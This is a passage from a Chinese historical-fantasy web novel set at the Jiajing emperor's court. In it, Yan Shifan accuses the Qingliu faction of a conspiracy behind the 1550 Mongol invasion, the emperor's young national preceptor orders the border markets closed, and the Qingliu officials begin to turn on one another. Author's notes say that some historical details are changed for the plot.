好好好,我们让你查!东南要是也乱了,那就是你严世蕃的责任! 我看你严世蕃就是要搅的大明不得安生! “小阁老!”这时,早就憋着火的高拱,也跟着踏出一步,继续对严世蕃开火。 “军户们不知道屯兵兴农的重要和意义,好好宣传就是了。如今闹到这种不可收拾的地步,难道不是政策的实施有问题吗?” “没有证据,就妄加猜测,含沙射影,是否太过分了些?”高拱说话可谓是一针见血,直指要害,只见他斜睨了眼严世蕃,又道: “因为下面的人犯错,导致军户闹事,难道不是应该怪罪用人不当吗?” “再则,根据北境传来的奏本,军户暴动的根本原因是,下面官员恶意打压晋商,这让军户失去了赖以生存的商业营生。” “因此,才会引发北境一团糟!”说到这里,高拱拿出一份奏本,道:“请国师过目,这是一份北境之地,呈上来的奏本。” “里面详细记录了,晋商王守,被大同知府张远明以货物涉嫌走私为由扣押,导致其损失惨重,以至于不得不遣散雇佣的军户。” “而且,王守并不是独一例,不仅如此,大同镇,还存在着大量的官员与士绅家族勾结,打压晋商,同时又扶持其他商人。” “故意引发晋商与士绅大族的矛盾,最终受到戕害的却是那些军户。” “如此,才引发了如今的大乱!” 清流的火力太猛了,严世蕃被三位一体的全方位针对打击,左右看了看,顿时急了。 兔子急了都会咬人,何况是严世蕃呢。于是,严世蕃开口咬人了! “呵呵,好啊,好啊,我就知道你们会胡搅蛮缠!”严世蕃气的胸膛剧烈起伏,“东南的事,是下官不懂事,官商勾结!” “然后北境的事,就是朝廷有人使坏?” “我没有说朝廷有人使坏,我只是就事论事!”高拱冷哼一声,将奏本递给吕芳,由吕芳呈递给上方看的目瞪口呆的清风。 “国师,请过目。”吕芳把奏本塞到有些发愣,似乎是被这场面震撼到的清风手里。 男人吵架,原来这么激烈呀…清风心头暗暗惊奇,回过神后看了眼吕芳。 得到吕芳一个放心的眼神后,微微点头,眼神中的意思是,之前交代她的,她都记得。 “是不是在含沙射影,你们心里清楚!”严世蕃怒声道:“说到底,伱们就是害怕了,你们就是想要欺负皇上,想让皇上跟你们妥协!” “就像是嘉靖二十九年一样,都是你们的阴谋!” 就在这时,被逼急了的严世蕃一番话,顿时让大殿上气氛陡然一凝。 偏殿中,坐在精舍中,闭目倾听的嘉靖双眼陡然睁开。 手中罄锤甩动,顿时发出一声嗡鸣。 顿时,大殿上,所有人都是心中一惊。 “……” 第九十九章 严世蕃一个人的舞台,完美阴谋论! “哗!” 听到严世蕃说的话,嘉靖大手一挥,纱帐直接掀开,挂在两侧的倒钩上。他听到了一个自己很在意,很感兴趣的东西。 嘉靖二十九年俺答入侵一事。 几乎要攻入京城,堪称大明史上除了‘土木堡之变’外的第二国耻! 当然个中原由,如今看来,他心里其实最清楚。 他想要看的是严世蕃会给出什么不同的解读来。 想及此处,嘉靖的目光幽幽深邃。 大殿中。 听到这一声铜罄的嗡鸣声,正在盛怒中的严世蕃陡然一个激灵。 清流一派此刻也是眉头一皱。 高拱、张居正和赵贞吉三人都将目光看向严世蕃这个疯子,想看看他要说出什么花来。 嘉靖二十九年那件事?他们自然知道严世蕃说的是什么,不就是俺答入侵吗? 那次,他们可以说是问心无愧。 再者说,那次的事,徐阁老可以说是表现不俗,也因此被皇上越发的赏识。 你严世蕃再怎么攀咬,难道还能把早有定论的脏事,放在我们身上不成。 嘉靖二十九年时,在场的几人中,只有严嵩、严世蕃、徐阶三人入阁。 至于高拱、张居正,赵贞吉三人,那时还未正式入阁,因此三人根本不惧严世蕃。 (注:历史上嘉靖二十九年,内阁成员,大致有严嵩、徐阶、张治、吕本等。严世蕃并未入阁。服务于剧情,本书中的高拱、赵贞吉、张居正等人入阁时间全部提前。) 倒是严嵩跟徐阶二人的眉头一挑。 尤其是听到偏殿传来的铜罄嗡鸣声,二人几乎是很有默契的对视了一眼,又默默移开。 “小阁老,”吕芳听到这一声铜罄嗡鸣,知道主子是对严世蕃的话在意了,于是上前一步,道:“有些话,可不能乱说,但既然说了,就要说清楚,嘉靖二十九年的阴谋是什么意思。” 听到吕芳的话,严世蕃自然知道,这是皇上对他说的话在意了。 下意识的,朝着香炉处看去,却见老爹严嵩依旧老神在在的坐在香炉旁,耷拉着眼皮,一副垂垂老矣,昏昏欲睡的模样。 见此,严世蕃知道自己只能继续下去了。 当即心一横,知道开弓没有回头箭,当即冷声道:“嘉靖二十九年,俺答入侵的种种,有太多的巧合了,而这一切要从二十八年说起!” 看着严世蕃这一副信誓旦旦的模样,高拱冷哼一声不说话,静静看着他表演。 上方的裕王跟景王也是默默听着。 而坐在御座旁小板凳上的清风,则是默默翻阅着之前高拱给的奏本,不过却也竖起了耳朵。 “那就是嘉靖二十六年任浙江巡抚的朱纨!”严世蕃说出了一个众人意想不到的名字。 严嵩耷拉着的眼皮抬了抬,然后又像是无力了一般,继续恢复原来的模样,昏昏欲睡。 徐阶低眉垂目,不过却是在听到这個名字的时候,不着痕迹的瞟了一眼严嵩的背影。 朱纨怎么死的? 大势已去后,刚烈自杀! 死前说了什么?很直白,就算皇上不杀我,闽、折两地的官员也会要我死。 可以说是用自己的性命,直接惨烈的揭开了朝堂争斗与黑暗。 朱纨的死,涉及到了什么?海禁! 时值东南倭寇霍乱,朱纨为此一心海禁,当然禁的是海运走私贸易。 也因此动了整个东南所有官员豪绅的利益,牵扯甚广,甚深! 那一年朝堂上的风景令人侧目,惊悚。即便是严嵩,如今想来,也是心惊! 一只怪物,出手了一次,露出了冰山一角,仅仅是一次出手,那位前途无量的清官就此折了。要不然他可以是大明的第二个海瑞。 而他与海瑞唯一不同的就是,拥有海瑞的刚直,却没有海瑞的头脑。 朱纨一死,至此再无人敢轻易涉足,插手与东南海禁有关的一切。 “这个严世蕃,真说出了点东西来……”偏殿,精舍中,嘉靖目光幽深。 大殿上,严世蕃继续高谈阔论。 “当初是什么人在弹劾朱纨?”严世蕃冷笑连连,环视众人一圈,道:“而带头的,正是时任兵部侍郎的詹荣和兵部尚书翁万达!” “这二人是谁,想必这几天,诸位不陌生吧?” 詹荣,翁万达?张居正三人对视一眼,眉头微微皱起,这二人他们自然知道。 “嘉靖二十八年,俺答破宣府而入,宣大总督翁万达急调大同总兵周尚文、京军三路出击鏖战曹家庄,斩俺答战将四员。” “周尚文和他的护卫队长马芳,率家兵浴血鏖战,因此曹家庄取得大捷。” 严世蕃简单说了一下这段历史。 因为现在局势关系,考虑到俺答可能再次来犯,张居正等人也是研究过不少边境战例的,所以对于翁万达,周尚文,马芳等人都知道。 不过此时,他们却是脸色一沉。 严世蕃这是要诬陷一位为国而战的清白之臣吗?严贼用心何其险恶! “曹家庄大捷后,翁万达入兵部尚书职,詹荣也跟着高升!” “之后仅过了一年,周尚文死在了大同,而翁万达也因为老父去世,归南奔丧!” 听到这里,所有人都嗅到了一些阴谋的气息。 “你到底想说什么!”高拱怒视着严世蕃,他受不了严世蕃这一通恶意揣测了。 严世蕃此举,完全就是没有证据,在这里胡说八道,想要将脏水泼给东南官场。 “我还没说完!”严世蕃直接粗暴的打断高拱,继续道:“之后,詹荣称病请辞了!” “那是什么时候,正是北境边防需要用人的时候,他开始请辞,他是在持宠而娇,他就是在欺负皇上,他想干什么?” “当然,这些也不是我要说的重点!”严世蕃说到这里,已经要将自己的目的宣之于口了。 “好啊,好啊,你们不觉得太过儿戏了吗?”严世蕃冷笑连连,道:“周尚文死了,翁万达归乡了,詹荣不干了。” “东南沿海,阻碍他们利益的朱纨被弄死了。” “那时候的北境有谁在?”严世蕃说话间,气势越发的高涨,道: “丁汝夔,仇鸾,这两个废物!” “我大明朝的北境扛鼎大将全都不见了,最空虚,最薄弱的时候,然后嘉靖二十九年,俺答就来了,呵,呵呵……” “更让人愤怒的是,期间皇上几次催促翁万达回边防,他是左推右拖,直至俺答攻入城下,让我大明朝,让皇上…受尽了屈辱!” 严世蕃的笑声中,充满了君辱臣死的怒意。 一番话说完,大殿之上,众人只觉得耳畔阵阵嗡鸣,徐阶眉头紧锁,严嵩惊异的回头看了眼儿子严世蕃,只觉得第一次认识。 俺答入侵,自己是何等表现,严嵩自己心里清楚,只是他没想到严世蕃有这一番头脑。 有些事,就怕回头细想,即便没有证据,即便那些事都已经尘封,成为过去。 但这个时候拿出来,翻旧账,确实是一个攻击清流一派的有力武器。 想着,严嵩给了儿子一个赞赏的眼神,然后继续装作一副昏昏欲睡的模样。 “高阁之前说了,俺答来犯是仇鸾等人无能,对,是他们无能,可俺答入侵,就是一场彻头彻尾的阴谋,有人在故意放他进来!” “为的就是要欺负皇上!” “也是在对皇上一种的无声的警告!” “而现在,历史在这一天,嘉靖四十年,又要重演了!” “上一次,东南那些害虫,害死了朱纨,换取了东南海上走私贸易的巨额利润!” “之前那十二道奏本上记载的海运走私贸易,你们都没忘吧!” “这一次屯兵兴农的国策,又影响到了一些人兼并土地,不想让国策施行!” 这一刻,严世蕃图穷匕见! 这一击,堪称绝对的重击,他要将一颗怀疑的种子,直接打入皇上的心底,以此换来这一次,彻底斗倒清流的致命绝杀之机。 严世蕃知道,嘉靖二十九年对皇上来说,是何等的耻辱,对大明是何等的国耻。 耻辱程度,不下于土木堡之变,因为它差点演变成大明般的靖康耻,额,嘉靖耻! “东南的事至今还历历在目,北境又如法炮制,你们这是在…侮辱皇上啊!” “轰隆!”一言出,石破天惊。 这一顶来过去的杀机,像是一道惊雷,轰的清流众人两眼发黑,脑瓜在嗡鸣。 阴谋,这是严世蕃的阴谋,这个阴谋的重点是给皇上埋下了一颗怀疑的种子。 嘉靖二十九年的耻辱,是皇上心头的一根刺,他肯定不会愿意再经历一次。 严世蕃这是在引导皇上,将南倭北虏的根源,全都归咎于他们这些人在祸害皇上。 一旦怀疑的种子种下,那就会生根发芽,而且他们还无法破解。 能怎么说?严世蕃说的有理有据,这些猜测,随便拎出来当年的一份卷宗,都能对得上这一番阴谋论,只会越查越细思极恐。 而且,清白与证据不重要了,重要的是皇上会怀疑,皇上什么性子,他们太清楚了。 自私、多疑、贪婪…此刻他会怎么想? “……” 第一百章 嗯,父皇的庙号,就取世宗! 一番慷慨激昂的怒吼,让小阁老严世蕃有些身子发虚,身子晃了晃。 他感觉自己用脑过度了,而这也是他自从得知俺答异动后,就准备给清流的致命一击。 为此,他甚至不怕皇上去翻旧账,去重启嘉靖二十九年 “严世蕃,你……”高拱气的面色涨红,愤怒的指着严世蕃,却是不知该如何反驳。 “这些都是你的猜测。”张居正皱着眉头道。 一旁的赵贞吉看了看张居正和高拱,心头暗叹一声,低眉垂目,眸中有回忆之色浮动。 嘉靖二十九年,俺答南下,他是亲历者! 俺答“谩书要贡”,严嵩表现可以说是极度不堪,背后的原因他自然知道为何,但严嵩之责,不能深究,对严嵩出手就是在逼宫。 整个事件,究其原因还是在……也因此,此事一旦被重提,撕破脸,注定会有人抗事! 现在严世蕃这一番话出口,更是将严嵩和那位撇的干干净净,严嵩?仇鸾等人是无能,可这不是重点,重点是有人放俺答进来! 至此一点,就注定了,这颗怀疑的种子,无法拔出,他相信,皇上甚至不愿意拔出。 “败了……”赵贞吉心底轻叹,看着似乎瞬间变得虚弱了不少的严世蕃眼皮跳动,心中下了一个评价:严党,阴狠,狂悖! “哼,”上方,景王嘴角微动,雍容的面上,露出一抹笑容,道:“看来这次大同军户暴乱,士绅、晋商,都是有人故意为之。” “其目的,就是要俺答再次入侵,”说着,景王的语气转冷,道:“他们要再次逼迫父皇妥协,他们想要如法炮制嘉靖二十九年的成功!” “其心可诛啊!此人为了目的,已经不择手段,无君无父了吗…三哥?” 景王这时候也跟着出手了。 严世蕃剑锋直指清流,景王则是直接将矛头对准裕王,明摆着就说裕王为了皇位,已经完全不顾及家国,父子亲情了,其心可诛! 面对景王这一番话,裕王瞳孔一缩,朝着偏殿瞟了一眼,他现在最在乎的是父皇的想法。 一时间,大殿上的气氛,无比的压抑凝重起来。 所有人都在等,等偏殿那一声嗡鸣。 此时,偏殿,精舍中。 嘉靖的眸光闪烁不定,心中千般计较浮现,严世蕃的阴谋论确实引起了他的兴趣。 这是一颗怀疑的种子,他也在想,嘉靖二十九年的一切,是不是太巧合了? 嘉靖二十九年,俺答入侵最直接明朗的原因就是俺答请求向大明朝称臣入贡,被自己拒绝了,并且严嵩还杀了使者。 而自己拒绝的原因也很简单……想着,嘉靖摇摇头,是非功过已无须再论。 严世蕃的那些话,确实对他造成了一些影响,但还是那句话,帝王行事结果导向。 他内心是无意再掀起一场‘庚戍大狱’的,因为当年的人和事,已盖棺定论。 “不过,严世蕃却正好递上了整顿吏治的好台阶,庚戍大狱,呵……”想着,嘉靖轻笑一声,眸光闪烁,心头已是千百计较浮现。 轻摆了摆宽大的袖袍,抬手罄锤惬意的接连两摆,敲击在铜罄之上,发出两道嗡鸣。 “铛,铛……”大殿之上,接连两道嗡鸣响起,大殿上压抑沉重的气氛陡然被击破。 所有人心头都是一惊,不明白这接连两声嗡鸣是何意,尤其是清流一方,心头紧张无比。 以往,皇上只是敲一下,然后就是吕芳出来说话,调和清流与严党,这一次呢? 猜不透的众人下意识的看向吕芳。 然而吕芳却是一副老神在在的模样,丝毫没有想开口说话的意思。 不过众人没有注意到的是,坐在御座旁,小凳子上的清风却是合上了奏本。 见大家的注意力都不在自己身上后,清风眨了眨纯净而毫无杂质的眸子,抿了抿嘴,然后轻咳了一声,脆声道:“二位殿下,诸位阁老。” 突然响起稚嫩的少女声音,让在场所有人都是一怔,裕王和景王同时回身看去。 就连严嵩也是抬了抬耷拉着的眼皮,浑浊的眸子里,浮现出一抹了然之色。 徐阶因为之前严世蕃一番话,而变得凝重的面色,听到这位少女国师开口后,面容微缓。 清风双眸看向吕芳,得到的是一个鼓励的眼神后,微微颔首,拿着奏本起身。 众人投来的目光,她并不紧张,因为她清楚这些山下的人在争着生存,这些与她无关。 最重要的是,她也清楚自己的位置,他们的争斗如何激烈,与自己也不会在一个圈子内竞争如何生存,因此她并不紧张。 大家都在天道之下求生存。 而自己的生存之道,便是办好皇上交代的所有事情,就这么简单。 “几日前,我夜观星象,见荧惑入舆鬼之兆……”说着,清风语气微顿,可爱的鹅蛋脸上紧绷着,她没有撒谎,这星相是真的。 而且皇上也发现了,皇上他似乎对星相算的格外的准确,想到那肯定的语气…… 清风压下心头的疑惑,继续开口,“《黄帝占》曰:荧惑入舆鬼,有兵丧,金玉用,有大赦;及留守之,物贵,天下大疾疫……” “以上与星相不谋而合!” 听到这里,内阁众人都是低眉垂目,一个個都在心头思索着这一番话的深意。 嗯,皇上让小国师出来,替自己说话的原因,他们不用想都知道,皇上身体即便用药物维持体面,但是药三分毒。 那种能让皇上看起来与普通人无异的药物,估计存在的‘副作用’会更大。 因此,皇上才会让小国师来出面。 而小国师这番话,其实就是皇上要表达的意思。 而且听小国师完全不理会刚才严世蕃的那一番话,直接开口说起北境之事…… 想着,尤其是清流众人,心头不但没有为此而松一口气,反而愈发的沉重起来,那颗种子终究是埋下了吗?皇上会秋后算账吗? 莫非,真的会重启嘉靖二十九年,俺答入境一事?那时,又会拿谁开刀? 想及此处,无论是清流和严党,心头陡然浮现出一个答案来! 那就是,这场北境之战谁输,谁就会成为接下来可能出现的‘庚戍大狱’的替罪羊! 皇上大限将至,他已经完全不在乎身前身后名了,为了储君扫清道路,他不惜兴起大狱。 “父皇他,为了儿臣,为了大明,背负的太多了!”裕王和景王对视一眼,心中齐齐道。 同时暗暗决定,若是自己登上皇位,定要为父皇表述功绩。 嗯,父皇的庙号,就取世宗! 而“世宗”这个庙号,通常用来表彰那些在位期间有显著成就、开创或延续盛世的皇帝。 父皇为了他们,为了大明,所作所为,足以担得起这个庙号! “所以,”清风自然不知道这些大臣心中所想,继续开口,“为防止战火,瘟疫等侵害大明,即日起立刻关闭互市。” “另外,驱逐所有蒙古人于境外!” 嗯?!听到这话,众人都是一愣,抬头惊疑的看着那面容稚嫩,声音脆生的少女国师。 关闭互市,驱逐所有蒙古人?皇上这是要做什么?现在已经立秋,眼瞅着入冬,一到这个时候,蒙古各部就会南下试图劫掠。 这个时候这么做,岂不是要让蒙古人去死?俺答现在只是因为北境之事观望。 大可能就是给大明一些威慑,如此一来怕是会立马集结大军于阴山山脉,向大同挺进。怕是那时,兀良哈三卫也会蠢蠢欲动。 到时候,这些草原各部精锐集结会如何?皇上他,难道就不怕吗? 难不成,那时真会有什么瘟疫降临,又或是什么天灾,导致大规模的兵丧? 想不通,根本想不通! 一时间,众人甚至觉得,皇上是不是已经病重到,相信占星,期许上天惩罚敌人了。 “……” 第一百零一章 理由,台阶,朕都铺好了,此等诱惑如何拒绝? “铛!” 在众人愣神之际,偏殿处又传来一道嗡鸣之声,内阁众人也终于回过神。 同时也知道,这是皇上在让他们表态了。 绝对不能这么做,一旦这么做了,恐怕战事会一触即发,清流众人心中冒出一个念头。 “家国大事岂能以天相轻易决定?”这时,性子耿直,脾气火爆的高拱率先开口,道:“国师此言太过儿戏,高拱无法认同!” 之前皇上行事,很有章法,也都有迹可循,有情可原,他们都能理解。可是这一次,这在他看来,完全就是在胡闹了。 关闭‘互市’,驱逐多有蒙古人,唯一会引发的后果,只有一个,那就是与蒙古开战! 北境如今还没稳定,这个时候贸然开战,甚至一旦开战,所要面对的,甚至不光是俺答所率领的土默特部,还有兀良哈三部。 一旦北方开战,东南的倭寇说不定也会伺机而动。 大明如今的军事实力,勉强与南方的倭寇,北方的蒙古维持平衡,还要匀出部分军事实力用于镇守境内的一些叛乱。 牵一发而动全身,到那时候,真打起来,大明恐怕会因此而彻底大乱。 皇上此举,在他看来,完全就是胡闹。 清流派其他人听到这话后,都是心中暗暗点头,表示认可。 “国师,”这时张居正深吸一口气,上前一步,“占星说,虽有可取之道,可若是因此而贸然关闭互市,驱逐蒙古人恐怕会引发战乱……” “如今北境不稳,若是陷入战乱,届时便是牵一发而动全身,还请三思!”张居正这番话说的诚恳,但其实是在对偏殿的嘉靖说话。 俺答来犯,本就是嘉靖按部就班的计划之外的一個突发意外。 不过既然这个意外来了嘉靖也不会避让。 他现在的修为不足以挥手间横推蒙古全境,但若是使用那张土属性的攻击符箓将俺答率领的土默特部精锐全部葬送,弄残他还是行的。 当然以他练气五层的修为,若效仿匹夫之怒亲自出手,也不是不能杀到让人胆寒。 但他不会去做这种屠夫之举的,帝者不轻降其尊,不自损其贵,这就是道理。 只需在那天穹之上,灵气法诀攒动间,降下小小符纸,便可教那千军万马尽数埋葬。 “还请国师三思!”此时,清流派众人全都开始劝了起来。 当然说是劝清风,倒不如说是劝嘉靖。 他们知道,拿定大权的人,只有皇上,除非…除非皇上真的信了这个妖女的鬼扯,信什么天灾会降临北境,期许天灾降罪蒙古人。 上方,裕王眉头紧锁。 一旁的景王得到严嵩的眼神示意后,没有轻举妄动,不过说实话他心里也好奇,父皇为什么要这么做?着实让人看不懂了。 下方严嵩低眉垂目,始终没有表态。 严世蕃也没有再冲动,嗯,他巴不得看清流跟皇上的意志对着干呢,自然乐的看戏。 最好这帮子自诩清流的人在这里死谏,死在这玉熙宫,死绝了才好呢! 严世蕃心头咬牙切齿的说着。 嗯,他真是把这群人给恨到牙根里了。 “诸位且放心,”清风依旧是一副不急不缓的语气,“天相不会出错,北境庇佑灾祸!” “等灾祸退却,互市便可重开,与蒙古的交易也可以正常进行。” “那敢问国师,灾祸何时退却?我等面对蒙古各部询问缘由也好给予回复,以避免无端的战火,致使我大明陷入无妄之灾!” 高拱依旧是那副暴脾气。 “铛!”然而就在这时,偏殿处又传来一声嗡鸣,听到这个声音,众人心头一怔。 吕芳看了眼众人上前一步开口了。 “天相变幻莫测,国师能预测北境会有灾祸,已是极为不易,诸位还要知晓灾祸何时退却,是不是有些为难人了?” 吕芳目光凝视徐阶等人,语气渐沉,“还是说诸位要拿着这些给蒙古人一个交代?” “我大明行事,何事需要对蒙古人解释?我大明是蒙古各部的附属国吗?” “当初东南有变,难道不是因为有国师夜观星象,发现兵戈冤灾,然后亲赴东南祈福,然后才让东南那场风波平息吗?” “诸位如今质疑国师,那么我也要问一句了,”说着,吕芳环视众人,语气幽幽,“敢问诸位,东南的事,是了了还是没有了呢?” 这群人在这里质疑主子的决定,看似是在逼迫国师,实则就是在逼主子退步。 这在吕芳看来,就是在抽他的脸。 主子的意志,岂能被臣子所左右?简直就是给脸不要脸了,那也就别怪咱家不给你们面子了。 “这……”见吕芳出来表态,徐阶、高拱、张居正等人顿时哑火。 此时他们也意识到,现在局势逆转了。 这个时候劝谏,实在不是明智之举。 严世蕃才给皇上的心里种下一颗怀疑的种子,这个时候再翻东南旧账,给皇上提醒,万一追究起“庚戍往事”,岂不自讨没趣? 想通此中关键后,顿时,高拱等人纷纷哑火,不再言语。 见清流冷静下来后,吕芳的语气也缓和了不少,温和道:“内阁担心的倒也不无道理……” 说着,吕芳的语气微微一顿,道:“我倒是有个提议,不如就由内阁拟定,礼部起草一个告示,发往北境之地,说明缘由。” “如此,也不算是我大明失了礼数。”说完,吕芳看向裕王跟景王二人,拱了拱手,道: “不知二位殿下以为如何?” 到这里,裕王已经知道,北境之战的第三回合他们败了。 那颗怀疑的种子已经扎在了父皇的心里,就看父皇怎么处理了。 若是父皇不予追究当做什么都没发生,那或许还有转机,若是追究,那么在裕王看来,整顿吏治,父皇一定会拿他这一系的人开刀。 至于北境屯兵兴农的国策,严党是否失利,其实已经不重要了。 重点是父皇的圣意! “四弟,你觉得呢?”想及此处,裕王看向景王。 “我觉得吕公公说的对。”景王目光环视下方众人,道:“我大明,不是蒙古人的附属国。” “互市,是我大明开的,我大明想什么时候关,就什么时候关,无人可以质疑!” “给蒙古张贴告示通知,是大明上国的礼仪。”说着,景王负手而立,俯视着下方内阁和司礼监众人,像是宣告着他的胜利。 “严阁老,此事不如就由你亲自来督办,尽快送往北境,如何?”虽然是在问,却是毋庸置疑的语气。 众人看着浑身上下,都仿佛散发着皇者气度的景王,竟有些恍惚起来,像,太像了! 景王,跟当年初登大宝的皇上,太像了,自信,从容! 再看裕王,常年的小心谨慎,虽养成了一种沉稳气质,可终究是差了些皇者独尊的意味。 “老臣遵旨。”严嵩起身说道。 “铛!”这时,随着一声铜罄的嗡鸣声响起,吕芳也跟着开口,道:“诸位,时间不早了,没什么事就不要打扰主子清修了……” “臣等告退。”包括裕王跟景王二王在内,群臣齐齐对着偏殿行了一礼后,这才转身踏入飘洒些许微雨的殿外而去。 “国师且慢,”眼瞅着清风也要走,吕芳笑着拿出一个巴掌大小的羊脂玉色的酒葫芦,递给清风,道:“主子事先早有吩咐,这是主子赏的御酒。喝了有助于养生。” 看着面前好看的玉葫芦,清风眨了眨纯净,毫无杂质的眸子,然后笑着拿过葫芦,道: “谢皇上赏赐。” “国师,奴婢有个疑问,还请国师解惑?”吕芳看着大大方方接下玉葫芦的清风,脸上也露出一抹笑容问道。 “吕公公想问什么?”清风停下把玩玉葫芦,收入自己的衣袍兜兜里,看向吕芳。 “国师知道,今日御前议政一出,外界会如何议论吗?”吕芳直言不讳的问道。 “嗯,”清风微微颔首,沉吟小会后,可爱的鹅蛋脸上露出一个笑容,脆声道: “这些日子黄公公也教了我不少道理,其中有句话我一直记得,他说山下做官的,谨记食君俸禄,为君分忧。” “我是大明国师,只要能为皇上分忧,位高权重,责重于山的道理,我懂的。” 看着眼前虽然只有十六岁,心性却如此豁达的清风,吕芳一怔,而后面上露出笑容,道:“国师心性、悟性皆是难得。” “无愧于主子赐下清风玄灵守真慧悟真人之尊号,国师之名,当得!” “呵,”清风露出笑容,转身对偏殿处躬身一礼,道:“清风告退。” 说完,转身便出了大殿,门口等候的小太监立刻撑起伞,护送着清风离开。 吕芳来到偏殿,就听嘉靖略带笑意的声音响起,“怎么样?朕的这位小国师,看事情有时候比朝中有些人要清楚。” “那些清流士大夫,他们可不会为了朕,主动将污水泼在自己身上。” “文人士大夫,饱读诗书,竟是不如一个孩子明白,食君俸禄为君分忧的道理。” “主子说的是,这些清流,不管是求名,又或者是求物,终究想的是自己。” 吕芳立刻附和道:“现在的人只知道位高权重,却忘了责重于山,国师不在乎身外之物,心性纯净,反倒是看的最清楚了。” 说完,见嘉靖面容微缓,也不在这个话题上深究后,吕芳这才再次开口。 “主子,关闭互市驱逐蒙古人的消息一出,必然会触怒俺答,他估计会再次集结兵力,这次确实给了他一个再起兵戈的理由了。” “理由,台阶,朕都给他铺好了,朕就怕他不集结兵力,否则如何一网打尽……” 嘉靖相信,很快俺答就会收到消息,明朝皇帝越来越昏庸了,不但玄修不上朝,还听信道士的鬼话,被迷得神魂颠倒,甚至要关闭互市。 如此昏庸无能的皇帝,他可以再次逼迫大明,割让利益给他们了! 就像是嘉靖二十九年一样,那一次大明在蒙古铁骑下,强行打开了互市。 这一次,这个越发昏庸,无能的皇帝,让他们看到了更多可以割取的利益。 嘉靖就不信俺答能忍住这个诱惑。 最巧的是原来在大同担任总兵,也是北部最能打的将领马芳,也被自己为了给清流和严党腾战场,调去了宁夏任巡抚。 如今北境最能打的也就是唐顺之这个对倭熟稔,但北境作战不熟悉的总督,还有王崇古这个原本在宁夏的总兵。 可以说,大同都是一群“新人”。 只要他集结足够的精锐,定能挺进大同,甚至是只要速度够快,还能长驱直入京师,给大明这个他眼中昏庸无能的皇帝一次震慑。 “……” 第一百零二章 高拱展露锋芒!边关急报!既然来了,那就永远埋葬在阴山吧! “唰唰唰。”雨势越发的大了。 一整个京城,都被一片雨雾笼罩其中,雾蒙蒙的。 一路从玉熙宫出来后,清流和严党两拨人都没有各回各家,而是直入两座王府。 裕王府,大殿中。 “该死的严世蕃,小人,十足的小人!”高拱气的捶桌子,怒声道。 “我们也没想到,他竟然会将嘉靖二十九,俺答入侵,和二十八年,朱纨自杀两件事连起来,借翁万达和詹荣,直接将脏水泼到整个东南官场上,以此给皇上心里种下怀疑的种子!” “我真是小瞧了这个卑鄙小人了!”说着,高拱又是狠狠捶了一下桌子。 “此事,就看皇上怎么想了,”张居正也是有些叹息,道:“我想诸位都猜到了,等屯兵兴农的国策落定,下一步就是整顿吏治。” “而整顿吏治,其实就是清除……”说着,张居正神色凝重的看了眼,沉着脸的裕王,虽然话没有说完,但意思却不言而喻了。 “之前,决定哪一方先出局的是北境战场,但现在,当严世蕃把怀疑的种子打入皇上心底的一颗开始,整顿吏治就在皇上一念间了。” “若是皇上真的怀疑,当年俺答入侵是因为有人故意放俺答进来,欺辱皇上,那么整個东南官场,都将因此而被清算,甚至牵扯更广。” “接下来,就看皇上怎么想了!” 张居正的一番分析,让大殿上的气氛变得愈发凝重了起来。 而也是此刻,高拱和徐阶二人的心思,都开始变了。 “若是皇上真的掀起‘庚戍大狱’,以此为借口,整顿失败方,若想翻身或许还有一线之机……”高拱目光瞥了眼低眉垂目的徐阶,心中却是暗暗下了一个决定。 一旦‘庚戍大狱’被兴起,那么遭到清算的必然是整个东南官场。 别人清不清楚,高拱不知道,但朱纨之死,是闽、折上到朝中官员,下到地方士绅大族,几乎是一群人在杀一个人。 “徐阁老,我有一个疑问,事关殿下能否争夺储君之位,若是阁老知晓,还请告知。”想及此处,高拱缓缓开口。 随着高拱开口,上方的裕王目光微微一闪,看向高拱的时候,眼神中有异色浮动。 赵贞吉看了眼高拱,眸光一闪而逝,拿起茶盏轻抿了一口,一副没听到的样子。 嗯,他已经察觉到了高拱语气中,隐约的火药味。 张居正见高拱说话,敏锐的嗅到了一丝不同,目光也不由的微微一凝。 “肃卿有什么想问的,直接问就是。”徐阶抬了抬眼,语气温和。 “那肃卿得罪了,这也是为了殿下,所以有些事情必须要问清楚,才能做好判断。”高拱说着,对着徐阶拱了拱手,道: “据我所知,朱纨是长洲人隶属于苏州府,而徐阁老是华庭人,隶属于属松江府。 两地虽属不同的府管辖,但到底同气连枝,朱氏和徐氏也都是三吴地区的大姓……” “肃卿!”听到这里,张居正眉头一皱,语气不由加重。 不过张居正话还没说完,就被徐阶抬手制止。 “肃卿,你继续,有什么疑问尽管问清楚便是。”徐阶看了眼上方的裕王,示意高拱继续。 他知道,到了这个时候,他知道,裕王肯定要弄清楚的。 毕竟若皇上真的以“庚戍大狱”做借口整顿吏治,那“朱纨案”怕是也会被重审,所以必须弄清楚当年的一些细节。 “我想问的是,徐阁老是否与朱纨,确切说是徐氏与朱氏,是否有利益往来。” 说话间,高拱那一双铜铃般大的眸子,炯炯有神的盯着徐阶,声音中咄咄逼人。 隐隐间,似有质问的嫌疑。 此刻,王府大殿上,气氛也跟着变得凝重起来。 所有人都惊诧的看着高拱。 今日的高肃卿,似乎格外的锋芒毕露! “开始了,我就知道,一旦北境之战结束或者有变,接下来新一轮的争斗会从内部开始。”赵贞吉低眉垂目,心中暗叹不已。 他早就预料到了这一天。 因为一旦严党倒台,那么徐阁老就会是首辅,而论资历,高拱就会是次辅,那时二人之间必然是要争个你死我活的。 朱氏与徐氏,到底有没有往来? 确切的说,朱纨到底是不是徐阶的人,这才是高拱的问题。 一时间,所有人的目光,都盯着徐阶,等着他回话。 “朱纨此人,刚正果决,清廉正直,”徐阶开口的同时,似乎是在回忆什么,语气幽幽道:“他就像是另外一个海瑞。” “但不同的是,他只有刚直,却不如海瑞一般懂变通。而这,也注定了他的结局……” 一番话,没有直说关系,但意思是却不言而喻了。 朱纨,就是徐阶这一系的人,又或者说,朱氏与徐氏有一些关系,毕竟同属三吴地区。若说两个大族间没有关系,那也是不可能的。 (注:朱纨是徐阶党派没有历史依据。服务于剧情,本书就推测加虚构他们有了。) 朱纨是徐阶的人,众人并不是很惊讶。 不过紧跟着,众人看向徐阶的目光,又变得古怪了起来。 朱纨是要禁海的,说到底根本上禁的就是那些私开的海运,还有走私。 上次东南送来的那十二道奏本,已经露了冰山一角了,其背后的大族就是徐阶家族。 也就是说,朱纨是徐阶的人,却要禁海,那个时候,徐阶已经是次辅了。 但朱纨又是被东南官场逼死的,那岂不是说……嘶!想到这里,众人只觉得细思极恐。 